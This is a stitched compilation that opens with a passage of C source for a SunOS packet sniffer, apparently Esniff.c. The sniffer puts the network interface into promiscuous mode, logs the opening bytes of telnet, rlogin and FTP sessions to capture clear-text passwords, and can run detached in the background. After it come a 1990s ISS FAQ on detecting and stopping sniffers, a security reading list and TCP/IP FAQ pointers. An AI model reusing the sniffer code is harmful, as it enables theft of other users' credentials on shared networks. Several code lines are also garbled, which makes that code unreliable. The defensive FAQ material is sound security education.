fprintf(LOG," %s(%s)\n", Symaddr(CLe-&gt;DSTip),SERVp(CLe-&gt;DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe-&gt;PKcnt,(CLe-&gt;Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe-&gt;Length;
register u_char *p = CLe-&gt;Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}

fprintf(LOG,"\n-- \n");
fflush(LOG);

if(CLe-&gt;Next != NULL)
CLe-&gt;Next-&gt;Last = CLe-&gt;Last;
if(CLe-&gt;Last != NULL)
CLe-&gt;Last-&gt;Next = CLe-&gt;Next;
else
CLroot = CLe-&gt;Next;
free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIMENext; \
if(CLe-&gt;Time ether_type);

if(EtherType &lt; 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}

/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;
if( ip-&gt;ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;

{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph-&gt;th_flags),length);
fprintf(LOG,"%s[%s] =&gt; ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm-&gt;PKcnt++;

if(length&gt;0)
if( (CLm-&gt;Length + length) &lt; MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}

if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}

} else {

if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}

}

IDLE_NODE();

}

}

/* signal handler
*/
void death()
{ register struct CREC *CLe;

while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at =&gt; %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}

/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) &lt; 0)
Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) &lt; 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") &lt; 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)&ifr;
if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) &lt; 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}

while ((cc = read(if_fd, buf, CHUNKSIZE)) &gt;= 0) {
register char *bp = buf,
*bufstop = (buf + cc);

while (bp &lt; bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp-&gt;nhb_totlen;
filter(cp, (u_long)hdrp-&gt;nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;
device=NULL;
while((acifr_name;
}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)
LOG=stdout;

signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);

if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}

if(backg) {
register int s;

if((s=fork())&gt;0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s&lt;0)
Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))&gt;0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at =&gt; %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);

do_it();
}

___________________________________________________________________________

Sniffer FAQ:

Sniffer FAQ

Version: 1.7
-------------------------------------------------------------------------------
This Security FAQ is a resource provided by:

Internet Security Systems, Inc.
2000 Miller Court West Tel: (770) 441-2531
Norcross, Georgia 30071 Fax: (770) 441-2431

- Internet Scanner ... the most comprehensive "attack simulator"
available. -

-------------------------------------------------------------------------------
To get the newest updates of Security files check the following services:

mail info@iss.net with "send index" in message
http://iss.net/
ftp iss.net /pub/

-------------------------------------------------------------------------------
This Sniffer FAQ will hopefully give administrators a clear understanding of
sniffing problems and hopefully possible solutions to follow up with. Sniffers
is one of the main causes of mass break-ins on the Internet today.

This FAQ will be broken down into:

* What a sniffer is and how it works
* Where are sniffers available
* How to detect if a machine is being sniffed
* Stopping sniffing attacks:
o Active hubs
o Encryption
o Kerberos
o One-time password technology
o Non-promiscuous interfaces

-------------------------------------------------------------------------------

What a sniffer is and how it works

Unlike telephone circuits, computer networks are shared communication channels.
It is simply too expensive to dedicate local loops to the switch (hub) for each
pair of communicating computers. Sharing means that computers can receive
information that was intended for other machines. To capture the information
going over the network is called sniffing.

Most popular way of connecting computers is through ethernet. Ethernet protocol
works by sending packet information to all the hosts on the same circuit. The
packet header contains the proper address of the destination machine. Only the
machine with the matching address is suppose to accept the packet. A machine
that is accepting all packets, no matter what the packet header says, is said
to be in promiscuous mode.

Because, in a normal networking environment, account and password information
is passed along ethernet in clear-text, it is not hard for an intruder once
they obtain root to put a machine into promiscuous mode and by sniffing,
compromise all the machines on the net.

-------------------------------------------------------------------------------

Where are sniffers available

Sniffing is one of the most popular forms of attacks used by hackers. One
special sniffer, called Esniff.c, is very small, designed to work on Sunos, and
only captures the first 300 bytes of all telnet, ftp, and rlogin sessions. It
was published in Phrack, one of the most widely read freely available
underground hacking magazines. You can find Phrack on many FTP sites. Esniff.c
is also available on many FTP sites such as coombs.anu.edu.au:/pub/net/log.

You may want to run Esniff.c on an authorized network to quickly see how
effective it is in compromising local machines.

Other sniffers that are widely available which are intended to debug network
problems are:

* Etherfind on SunOs4.1.x
* Snoop on Solaris 2.x and SunOs 4.1 (on ftp playground.sun.com)
* Tcpdump 3.0 uses bpf for a multitude of platforms.
* Packetman, Interman, Etherman, Loadman works on the following platforms:
SunOS, Dec-Mips, SGI, Alpha, and Solaris. It is available on
ftp.cs.curtin.edu.au:/pub/netman/[sun4c|dec-mips|sgi|alpha|solaris2]/
[etherman-1.1a|interman-1.1|loadman-1.0|packetman-1.1].tar.Z
Packetman was designed to capture packets, while Interman, Etherman, and
Loadman monitor traffic of various kinds.

DOS based sniffers

* Gobbler for IBM DOS Machines
* ethdump v1.03
Available on ftp
ftp.germany.eu.net:/pub/networking/inet/ethernet/ethdp103.zip
* ethload v1.04
Companion utility to a ethernet monitor. Available on ftp
ftp.germany.eu.net:/pub/networking/monitoring/ethload/ethld104.zip

Commercial Sniffers are available at:

* Network General.

Network General produces a number of products. The most
important are the Expert Sniffer, which not only sniffs on the
wire, but also runs the packet through a high-performance expert
system, diagnosing problems for you. There is an extension onto
this called the "Distributed Sniffer System" that allows you to
put the console to the expert sniffer on you Unix workstation
and to distribute the collection agents at remote sites.

* Microsoft's Net Monitor

" My commercial site runs many protocols on one wire - NetBeui,
IPX/SPX, TCP/IP, 802.3 protocols of various flavors, most
notably SNA. This posed a big problem when trying to find a
sniffer to examine the network problems we were having, since I
found that some sniffers that understood Ethernet II parse out
some 802.3 traffic as bad packets, and vice versa. I found that
the best protocol parser was in Microsoft's Net Monitor product,
also known as Bloodhound in its earlier incarnations. It is able
to correctly identify such oddities as NetWare control packets,
NT NetBios name service broadcasts, etc, which etherfind on a
Sun simply registered as type 0000 packet broadcasts. It
requires MS Windows 3.1 and runs quite fast on a HP XP60 Pentium
box. Top level monitoring provides network statistics and
information on conversations by mac address (or hostname, if you
bother with an ethers file). Looking at tcpdump style details is
as simple as clicking on a conversation. The filter setup is
also one of the easiest to implement that I've seen, just click
in a dialog box on the hosts you want to monitor. The number of
bad packets it reports on my network is a tiny fraction of that
reported by other sniffers I've used. One of these other
sniffers in particular was reporting a large number of bad
packets with src mac addresses of aa:aa:aa:aa:aa:aa but I don't
see them at all using the MS product. - Anonymous

-------------------------------------------------------------------------------

How to detect a sniffer running.

To detect a sniffing device that only collects data and does not respond to any
of the information, requires physically checking all your ethernet connections
by walking around and checking the ethernet connections individually.

It is also impossible to remotely check by sending a packet or ping if a
machine is sniffing.

A sniffer running on a machine puts the interface into promiscuous mode, which
accepts all the packets. On some Unix boxes, it is possible to detect a
promiscuous interface. It is possible to run a sniffer in non-promiscuous mode,
but it will only capture sessions from the machine it is running on. It is also
possible for the intruder to do similiar capture of sessions by trojaning many
programs such as sh, telnet, rlogin, in.telnetd, and so on to write a log file
of what the user did. They can easily watch the tty and kmem devices as well.
These attacks will only compromise sessions coming from that one machine, while
promiscuous sniffing compromises all sessions on the ethernet.

For SunOs, NetBSD, and other possible BSD derived Unix systems, there is a
command

"ifconfig -a"

that will tell you information about all the interfaces and if they are in
promiscuous mode. DEC OSF/1 and IRIX and possible other OSes require the device
to be specified. One way to find out what interface is on the system, you can
execute:

# netstat -r
Routing tables

Internet:
Destination Gateway Flags Refs Use Interface
default iss.net UG 1 24949 le0
localhost localhost UH 2 83 lo0

Then you can test for each interface by doing the following command:

#ifconfig le0
le0: flags=8863&lt;UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,MULTICAST&gt;
inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1

Intruders often replace commands such as ifconfig to avoid detection. Make sure
you verify its checksum.

There is a program called cpm available on ftp.cert.org:/pub/tools/cpm that
only works on Sunos and is suppose to check the interface for promiscuous flag.

Ultrix can possibly detect someone running a sniffer by using the commands
pfstat and pfconfig.

pfconfig allows you to set who can run a sniffer
pfstat shows you if the interface is in promiscuous mode.

These commands only work if sniffing is enabled by linking it into the kernel.
by default, the sniffer is not linked into the kernel. Most other Unix systems,
such as Irix, Solaris, SCO, etc, do not have any flags indication whether they
are in promiscuous mode or not, therefore an intruder could be sniffing your
whole network and there is no way to detect it.

Often a sniffer log becomes so large that the file space is all used up. On a
high volume network, a sniffer will create a large load on the machine. These
sometimes trigger enough alarms that the administrator will discover a sniffer.
I highly suggest using lsof (LiSt Open Files) available from
coast.cs.purdue.edu:/pub/Purdue/lsof for finding log files and finding programs
that are accessing the packet device such as /dev/nit on SunOs.

There is no commands I know of to detect a promiscuous IBM PC compatible
machine, but they atleast usually do not allow command execution unless from
the console, therefore remote intruders can not turn a PC machine into a
sniffer without inside assistance.

-------------------------------------------------------------------------------

Stopping sniffing attacks

Active hubs send to each system only packets intended for it rendering
promiscuous sniffing useless. This is only effective for 10-Base T.

The following vendors have available active hubs:

* 3Com
* HP

-------------------------------------------------------------------------------

Encryption

There are several packages out there that allow encryption between connections
therefore an intruder could capture the data, but could not decypher it to make
any use of it.

Some packages available are:

* deslogin is one package available at ftp
coast.cs.purdue.edu:/pub/tools/unix/deslogin .

* swIPe is another package available at
ftp.csua.berkeley.edu:/pub/cypherpunks/swIPe/

* Netlock encrypts all (tcp, udp, and raw ip based) communications
transparently. It has automatic (authenticated Diffie-Helman) distibuted
key management mechanism for each host and runs on the SUN 4.1 and HP 9.x
systems. The product comes with a Certification Authority Management
application which generates host certificates (X.509) used for
authentication between the hosts. and provides centralized control of each
Hosts communications rules.

The product is built by Hughes Aircraft and they can be reached at
800-825-LOCK or email at netlock@mls.hac.com.

-------------------------------------------------------------------------------

Kerberos

Kerberos is another package that encrypts account information going over the
network. Some of its draw backs are that all the account information is held on
one host and if that machine is compromised, the whole network is vulnerable.
It is has been reported a major difficulty to set up. Kerberos comes with a
stream-encrypting rlogind, and stream-encrypting telnetd is available. This
prevents intruders from capturing what you did after you logged in.

There is a Kerberos FAQ at ftp at rtfm.mit.edu in
/pub/usenet/comp.protocols/kerberos/Kerberos_Users__Frequently_Asked_Questions_1.11

-------------------------------------------------------------------------------

One time password technology

S/key and other one time password technology makes sniffing account information
almost useless. S/key concept is having your remote host already know a
password that is not going to go over insecure channels and when you connect,
you get a challenge. You take the challenge information and password and plug
it into an algorithm which generates the response that should get the same
answer if the password is the same on the both sides. Therefore the password
never goes over the network, nor is the same challenge used twice. Unlike
SecureID or SNK, with S/key you do not share a secret with the host. S/key is
available on ftp:thumper.bellcore.com:/pub/nmh/skey

Other one time password technology is card systems where each user gets a card
that generates numbers that allow access to their account. Without the card, it
is improbable to guess the numbers.

The following are companies that offer solutions that are provide better
password authenication (ie, handheld password devices):

Secure Net Key (SNK)

Digital Pathways, Inc.
201 Ravendale Dr. Mountainview, Ca.
97703-5216 USA

Phone: 415-964-0707 Fax: (415) 961-7487

Secure ID

Security Dynamics,
One Alewife Center
Cambridge, MA 02140-2312
USA Phone: 617-547-7820
Fax: (617) 354-8836
Secure ID uses time slots as authenication rather than challenge/response.

ArKey and OneTime Pass

Management Analytics
PO Box 1480
Hudson, OH 44236
Email: fc@all.net
Tel:US+216-686-0090 Fax: US+216-686-0092

OneTime Pass (OTP):
This program provides unrestricted one-time pass codes on a user by user basis
without any need for cryptographic protocols or hardware devices. The user
takes a list of usable pass codes and scratches out each one as it is used. The
system tracks usage, removing each passcode from the available list when it is
used. Comes with a very small and fast password tester and password and pass
phrase generation systems.

ArKey:
This is the original Argued Key system that mutually authenticates users and
systems to each other based on their common knowledge. No hardware necessary.
Comes with a very small and fast password tester and password and pass phrase
generation systems.

WatchWord and WatchWord II

Racal-Guardata
480 Spring Park Place
Herndon, VA 22070
703-471-0892
1-800-521-6261 ext 217

CRYPTOCard

Arnold Consulting, Inc.
2530 Targhee Street, Madison, Wisconsin
53711-5491 U.S.A.
Phone : 608-278-7700 Fax: 608-278-7701
Email: Stephen.L.Arnold@Arnold.Com
CRYPTOCard is a modern, SecureID-sized, SNK-compatible device.

SafeWord

Enigma Logic, Inc.
2151 Salvio #301
Concord, CA 94520
510-827-5707 Fax: (510)827-2593
For information about Enigma ftp to: ftp.netcom.com in directory
/pub/sa/safeword

Secure Computing Corporation:

2675 Long Lake Road
Roseville, MN 55113
Tel: (612) 628-2700
Fax: (612) 628-2701
debernar@sctc.com

-------------------------------------------------------------------------------

Non-promiscuous Interfaces

You can try to make sure that most IBM DOS compatible machines have interfaces
that will not allow sniffing. Here is a list of cards that do not support
promiscuous mode:

Test the interface for promiscuous mode by using the Gobbler. If you find a
interface that does do promiscuous mode and it is listed here, please e-mail
cklaus@iss.net so I can remove it ASAP.

IBM Token-Ring Network PC Adapter
IBM Token-Ring Network PC Adapter II (short card)
IBM Token-Ring Network PC Adapter II (long card)
IBM Token-Ring Network 16/4 Adapter
IBM Token-Ring Network PC Adapter/A
IBM Token-Ring Network 16/4 Adapter/A
IBM Token-Ring Network 16/4 Busmaster Server Adapter/A

The following cards are rumoured to be unable to go into promiscuous mode, but
that the veracity of those rumours is doubtful.

Microdyne (Excelan) EXOS 205
Microdyne (Excelan) EXOS 205T
Microdyne (Excelan) EXOS 205T/16
Hewlett-Packard 27250A EtherTwist PC LAN Adapter Card/8
Hewlett-Packard 27245A EtherTwist PC LAN Adapter Card/8
Hewlett-Packard 27247A EtherTwist PC LAN Adapter Card/16
Hewlett-Packard 27248A EtherTwist EISA PC LAN Adapter Card/32
HP 27247B EtherTwist Adapter Card/16 TP Plus
HP 27252A EtherTwist Adapter Card/16 TP Plus
HP J2405A EtherTwist PC LAN Adapter NC/16 TP

Adapters based upon the TROPIC chipset generally do not support promiscuous
mode. The TROPIC chipset is used in IBM's Token Ring adapters such as the 16/4
adapter. Other vendors (notably 3Com) also supply TROPIC based adapters.
TROPIC-based adapters do accept special EPROMs, however, that will allow them
to go into promiscuous mode. However, when in promiscuous mode, these adapters
will spit out a "Trace Tool Present" frame.

-------------------------------------------------------------------------------

Acknowledgements

I would like to thank the following people for the contribution to this FAQ
that has helped to update and shape it:

* Padgett Peterson (padgett@tccslr.dnet.mmc.com)
* Steven Bellovin (smb@research.att.com)
* Wietse Venema (wietse@wzv.win.tue.nl)
* Robert D. Graham (robg@NGC.COM)
* Kevin Martinez (kevinm@beavis.qntm.com)
* Frederick B. Cohen (fc@all.net)
* James Bonfield (jkb@mrc-lmb.cam.ac.uk)
* Marc Horowitz (marc@MIT.EDU)
* Steve Edwards (steve@newline.com)
* Andy Poling (Andy.Poling@jhu.edu)
* Jeff Collyer (jeff@cnet-pnw.com)
* Sara Gordon (sgordon@sun1.iusb.indiana.edu)

-------------------------------------------------------------------------------

Copyright

This paper is Copyright (c) 1994, 1995
by Christopher Klaus of Internet Security Systems, Inc.

Permission is hereby granted to give away free copies electronically. You may
distribute, transfer, or spread this paper electronically. You may not pretend
that you wrote it. This copyright notice must be maintained in any copy made.
If you wish to reprint the whole or any part of this paper in any other medium
(ie magazines, books, etc) excluding electronic medium, please ask the author
for permission.

Disclaimer

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties with regard to this information. In no event shall the author be
liable for any damages whatsoever arising out of or in connection with the use
or spread of this information. Any use of this information is at the user's own
risk.

Address of Author

Please send suggestions, updates, and comments to:
Christopher Klaus &lt;cklaus@iss.net&gt; of Internet Security Systems, Inc.
&lt;iss@iss.net&gt;

Internet Security Systems, Inc.

Internet Security Systems, Inc, located in Atlanta, Ga., specializes in the
developement of security scanning software tools. Its flagship product,
Internet Scanner, is software that learns an organization's network and probes
every device on that network for security holes. It is the most comprehensive
"attack simulator" available, checking for over 100 security vulnerabilities.

--
Christopher William Klaus Voice: (404)441-2531. Fax: (404)441-2431
Internet Security Systems, Inc. Computer Security Consulting
2000 Miller Court West, Norcross, GA 30071
__________________________________________________________________________

Books to check out:

I am adding these books because I have a text file that lists all of these with a review.
General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~

Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

This is an excellent book. It gives a broad overview of
computer security without sacrificing detail. A must read for
the beginning security expert.

Computer Security Management
Author: Karen Forcht
Publisher: Boyd and Fraser
Copyright Date: 1994
ISBN: 0-87835-881-1

Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X

Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1

N The Stephen Cobb Complete Book of PC and LAN Security
Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

N Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.

N Building a Secure Computer System
Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2

N Modern Methods for Computer Security
Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:

N Windows NT 3.5 Guidelines for Security, Audit and Control
Author:
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9

Unix System Security
~~~~~~~~~~~~~~~~~~~~

Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2

Finally someone with a very firm grasp of Unix system security
gets down to writing a book on the subject. Buy this book.
Read this book.

Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0

Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6

Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3

Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2

Network Security
~~~~~~~~~~~~~~~~

Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7

Not a total waste of paper, but definitely not worth the
$49.95 purchase price. The book is a rehash of previously
published information. The only secret we learn from reading
the book is that Sylvia Moon is a younger woman madly in love
with the older David Stang.

Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4

Cryptography
~~~~~~~~~~~~

Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

Bruce Schneier's book replaces all other texts on
cryptography. If you are interested in cryptography, this is
a must read. This may be the first and last book on
cryptography you may ever need to buy.

Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4

Programmed Threats
~~~~~~~~~~~~~~~~~~

The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0

The original, and still the best, book on computer viruses.
No media hype here, just good clean technical information.

Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN:

Telephony
~~~~~~~~~

Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5

Although hopelessly out of date, this book remains *THE* book
on telephony. This book is 100% Bell, and is loved by phreaks
the world over.

Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8

I find this dictionary to be an excellent reference book on
telephony, and I recommend it to anyone with serious
intentions in the field.

N Tandy/Radio Shack Cellular Hardware
Author: Judas Gerard and Damien Thorn
Publisher: Phoenix Rising Communications
Copyright Date: 1994
ISBN:

N The Phone Book
Author: Carl Oppendahl
Publisher: Consumer Reports
Copyright Date:
ISBN: 0-89043-364-x

Listing of every cellular ID in the us, plus roaming ports,
and info numbers for each carrier.

N Principles of Caller I.D.
Author:
Publisher: International MicroPower Corp.
Copyright Date:
ISBN:

Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X

Bruce Sterling has recently released the book FREE to the net.
The book is much easier to read in print form, and the
paperback is only $5.99. Either way you read it, you will be
glad you did. Mr. Sterling is an excellent science fiction
author and has brought his talent with words to bear on the
hacking culture. A very enjoyable reading experience.

Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X

The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6

Unclassified
~~~~~~~~~~~~

The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

The Knightmare is no super hacker. There is little or no real
information in this book. The Knightmare gives useful advice
like telling you not to dress up before going trashing.
The Knightmare's best hack is fooling Loompanics into
publishing this garbage.

The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6

Total garbage. Paranoid delusions of a lunatic. Less factual
data that an average issue of the Enquirer.

Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8
_________________________________________________________________________

If you still are not satisfied:

The TCP/IP FAQ is posted to news:comp.protocols.tcp-ip, and is
maintained by mailto:gnn@netcom.com

The Windows NT Internet FAQ, written by
Steve Scoggins, mailto:sscoggin@enet.net, is available via:
http://www.luc.edu/~tbaltru/faq/

The HTML version is maintained by Tom Baltrushaytis,
mailto:tbaltru@orion.it.luc.edu

This FAQ covers how to set up Windows NT for Internet access
and various Internet resources specific to Windows NT. If you
are using NT RAS for TCP/IP connectivity, then you should read
this FAQ.

The ASCII text version is available via anonymous ftp from URL:
ftp://rtfm.mit.edu/pub/usenet-by-hie...t_FAQ_Part_1_2
ftp://rtfm.mit.edu/pub/usenet-by-hie...t_FAQ_Part_2_2

The "How To Get It" FAQ on the Crynwr packet driver
collection is irregularly posted to news:comp.protocols.tcp-ip.ibmpc
by Russ Nelson, mailto:nelson@crynwr.com.


########### COOL WWW PAGES relating to TCP/IP ##########

http://www.charm.net/ppp.html (Cool home page with lots of pointers to
TCP/IP stuff)
http://www.zilker.net/users/internaut/update.html (This FAQ, in HTML)
http://www.crynwr.com/crynwr/nelson.html (Crynwr Software Home Page)
ftp://ftp.biostat.washington.edu/ftp...network.setups

################# EXAMPLE CONFIG FILES #################

Many thanks to Dave Fetrow (mailto:fetrow@biostat.washington.edu)
for creating an archive of setup files. The archive is
particularly oriented toward sets of applications that
are somewhat tricky, such as combinations involving
different driver sets, mixtures of NetWare, TCP/IP,
and W4WG, etc.

Please include not only the setup and configuration files
but some directions. Comments included with the setup files
are highly desirable. The files can include your name if you
desire.

Please mail submissions to mailto:ftp@ftp.biostat.washington.edu.

The archive itself is located at:
ftp://ftp.biostat.washington.edu/ftp...network.setups

Late breaking development: the archive has crashed, and
files have been lost.



TABLE OF CONTENTS

A. Components of a TCP/IP solution

